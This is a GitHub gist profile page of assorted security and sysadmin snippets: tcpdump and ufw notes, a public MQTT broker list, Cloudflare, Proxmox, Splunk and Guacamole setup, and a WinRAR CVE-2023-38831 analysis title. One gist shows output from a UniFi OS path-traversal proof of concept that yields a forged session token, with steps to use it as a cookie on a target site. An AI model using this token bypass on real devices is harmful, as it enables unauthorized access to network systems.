Skip to content

Instantly share code, notes, and snippets.

View BoredHackerBlog's full-sized avatar

boredhackerblog BoredHackerBlog

View GitHub Profile
https://github.com/microsoft/SysmonForLinux
https://www.youtube.com/watch?v=yzpDlonyPGU
https://github.com/OpenSecureCo/Demos/blob/main/sysmonforlinux
parsing: https://github.com/vectordotdev/vrl/discussions/1287#discussioncomment-12379049
@BoredHackerBlog
BoredHackerBlog / notes.txt
Last active July 2, 2026 18:01
tcpdump, ufw, networking stuff
https://davecturner.github.io/2020/12/12/rolling-tcpdump.html
https://www.tcpdump.org/manpages/tcpdump.1.html
tcpdump -i eth0 -G 600 -w mycapture_%s.pcap -zgzip -Z root
allow ssh in but no traffic out or in besides that:
ufw enable
ufw default deny outgoing
@BoredHackerBlog
BoredHackerBlog / example_output.txt
Last active June 6, 2026 02:31
unifi os path traversal
$ python3 poc.py
{"code":1,"codeS":"SUCCESS","msg":"success","data":"identity is not enabled"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxZmVhNmIyZi04MmY4LTRmNTEtYjZhOC02MzA4ZmExYzAzMWEiLCJwYXNzd29yZFJldmlzaW9uIjoxNzgwNTk0MDA5LCJpc1JlbWVtYmVyZWQiOmZhbHNlLCJjc3JmVG9rZW4iOiJkb2VzbnRtYXR0ZXIiLCJpYXQiOjE3ODA3MTE3NTIsImV4cCI6MTg4MDcxODk1MiwianRpIjoiZG9lc250bWF0dGVyIn0.rmuYFpM1Uy8MzEt1ILPzBRQi4dbOG4StbSoYWdOmzsY
add this cookie into the browser with name TOKEN and visit the target unifi os site.
@BoredHackerBlog
BoredHackerBlog / free
Last active June 1, 2026 02:49
free mqtt brokers
broker.emqx.io
prod-blue.public-broker.com
broker-cn.emqx.io
mqtt.eclipseprojects.io
test.mosquitto.org
broker.hivemq.com
aceautomation.ddns.net
101b7a0.online-server.cloud
@BoredHackerBlog
BoredHackerBlog / database
Created July 16, 2025 14:31
cloudflare worker logging to d1
create d1 database, bind it to worker
make a log table, add fields you need.
@BoredHackerBlog
BoredHackerBlog / cloudflare tunnel setup with wildcard
Created January 5, 2025 19:18
cloudflare tunnel setup with wildcard
Login:
cloudflared tunnel login
Create tunnel:
cloudflared tunnel create infra
Create routing/dns record:
cloudflared tunnel route dns infra YOURDOMAIN.COM
On cloudflare website, in dns record, replace 'infra' with '*' and save.
@BoredHackerBlog
BoredHackerBlog / gist:cbc864553c5cb9c558925fa44fa2b515
Created January 5, 2025 17:22
proxmox LXC ubuntu/debian autologin
https://forum.proxmox.com/threads/is-it-possible-to-have-containers-auto-login-on-the-web-gui-like-the-node.62097/#post-391377
Command:
```
systemctl edit container-getty@.service
```
File content:
@BoredHackerBlog
BoredHackerBlog / winrar_CVE-2023-38831_extract_cmd.md
Last active August 24, 2023 16:06
Extracting malicious command file from rar file exploiting CVE-2023-38831
@BoredHackerBlog
BoredHackerBlog / docker-compose.yml
Created August 21, 2023 02:05
splunk free json ingest w/ persistence
version: "3.6"
services:
so1:
image: splunk/splunk:latest
container_name: so1
environment:
- SPLUNK_START_ARGS=--accept-license
- SPLUNK_PASSWORD=password
- SPLUNK_LICENSE_URI=Free
@BoredHackerBlog
BoredHackerBlog / guac_token.py
Created August 15, 2023 14:20
This code gets auth token to access guac account and also lets you expire the token instantly logging out the user. this may be useful if you'd like someone to temporarily access guac without giving them username and password
import requests
GUAC_URL="http://10.0.0.1:8080/guacamole"
GUAC_USERNAME="user"
GUAC_PASSWORD="password"
def get_token():
url = f"{GUAC_URL}/api/tokens"
payload = f"username={GUAC_USERNAME}&password={GUAC_PASSWORD}"
headers = {"Content-Type": "application/x-www-form-urlencoded"}